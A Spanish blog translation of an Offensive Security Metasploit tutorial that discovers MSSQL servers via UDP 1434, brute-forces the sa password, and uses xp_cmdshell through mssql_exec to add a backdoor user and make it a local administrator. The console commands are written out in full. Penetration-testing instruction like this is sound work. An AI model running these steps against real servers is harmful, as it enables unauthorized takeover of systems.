Buscando MSSQL
Uno de mis favoritos es la huella avanzada UDP de MSSQL servers. Si esta realizando un prueba de penetración interna, esta es una herramienta que debería tener. Cuando se instala MSSQL, se instala en el puerto 1433 TCP o un puerto aleatorio TCP dinámico. Si el puerto es generado dinamicamente, puede ser complicado para un atacante conseguir los servidores de MSSQL a los cual atacar.Por suerte Microsoft, no ha bendecido con el puerto 1434 UDP, una vez que se ha consultado, nos permite conseguir una pequeña información sobre los servidores SQL incluyendo que puertos TCP esta a la escucha. Carguemos el modulo y usemoslo para descubrir múltiples servidores.
msf > search mssql
[*] Searching loaded modules for pattern 'mssql'...
Exploits
========
Name Description
---- -----------
windows/mssql/lyris_listmanager_weak_pass Lyris ListManager MSDE Weak sa Password
windows/mssql/ms02_039_slammer Microsoft SQL Server Resolution Overflow
windows/mssql/ms02_056_hello Microsoft SQL Server Hello Overflow
windows/mssql/mssql_payload Microsoft SQL Server Payload Execution
Auxiliary
=========
Name Description
---- -----------
admin/mssql/mssql_enum Microsoft SQL Server Configuration Enumerator
admin/mssql/mssql_exec Microsoft SQL Server xp_cmdshell Command Execution
admin/mssql/mssql_sql Microsoft SQL Server Generic Query
scanner/mssql/mssql_login MSSQL Login Utility
scanner/mssql/mssql_ping MSSQL Ping Utility
msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
msf auxiliary(mssql_ping) > set RHOSTS 10.211.55.1/24
RHOSTS => 10.211.55.1/24
msf auxiliary(mssql_ping) > run
[*] SQL Server information for 10.211.55.128:
[*] tcp = 1433
[*] np = SSHACKTHISBOX-0pipesqlquery
[*] Version = 8.00.194
[*] InstanceName = MSSQLSERVER
[*] IsClustered = No
[*] ServerName = SSHACKTHISBOX-0
[*] Auxiliary module execution completed
El primer comando que usamos fue para buscar cualquier plugins "mssql". La segunda instrucción "use scanner/mssql/mssql_ping", esto carga el modulo de escaner para ser usado por nosotros. Lo siguiente, "show options" nos permite ver las opciones que necesitamos especificar. El "set RHOSTS 10.211.55.1/24" establece el rango de subred donde queremos empezar a buscar los servidores SQL. Puede especificar /16 o el que quiera después. Yo recomendaría incrementar el numero de threads ya que podría tardar mucho tiempo con un solo threads en el escaner.
Después que se usa el comando "run", se realiza un análisis y regresa la información sobre el servidor MSSQL. Como se puede ver, el nombre del computador "SSHACKTHISBOX-0" y el puerto TCP 1433 donde se esta ejecutando. En este punto podría utilizar el modulo "scanner/mssql/mssql_login" para realizar brute-force a la contraseña pasandole al modulo un archivo de diccionario. También puede utilizar Fast-Track, medusa, o hydra para hacer esto. Una vez conseguida la contraseña, hay un pequeño modulo para ejecutar el xp_cmdshell con procedimientos almacenados.
msf auxiliary(mssql_login) > use admin/mssql/mssql_exec
msf auxiliary(mssql_exec) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD cmd.exe /c echo OWNED > C:\owned.exe no Command to execute
HEX2BINARY /pentest/exploits/framework3/data/exploits/mssql/h2b no The path to the hex2binary script on the disk
MSSQL_PASS no The password for the specified username
MSSQL_USER sa no The username to authenticate as
RHOST yes The target address
RPORT 1433 yes The target port
msf auxiliary(mssql_exec) > set RHOST 10.211.55.128
RHOST => 10.211.55.128
msf auxiliary(mssql_exec) > set MSSQL_PASS password
MSSQL_PASS => password
msf auxiliary(mssql_exec) > set CMD net user rel1k ihazpassword /ADD
cmd => net user rel1k ihazpassword /ADD
msf auxiliary(mssql_exec) > exploit
The command completed successfully.
[*] Auxiliary module execution completed
Viendo la linea "net user rel1k ihazpassword /ADD", hemos agregado una cuenta de usuario llamado "rel1k", desde aquí podemos usar "net localgroup administrators rel1k /ADD" para obtener un administrador local en el sistema. En este punto tenemos el control total del sistema.
© Offensive Security 2009
- Original by www.offensive-security.com
- Traslated by Jhyx
0 comentarios:
Publicar un comentario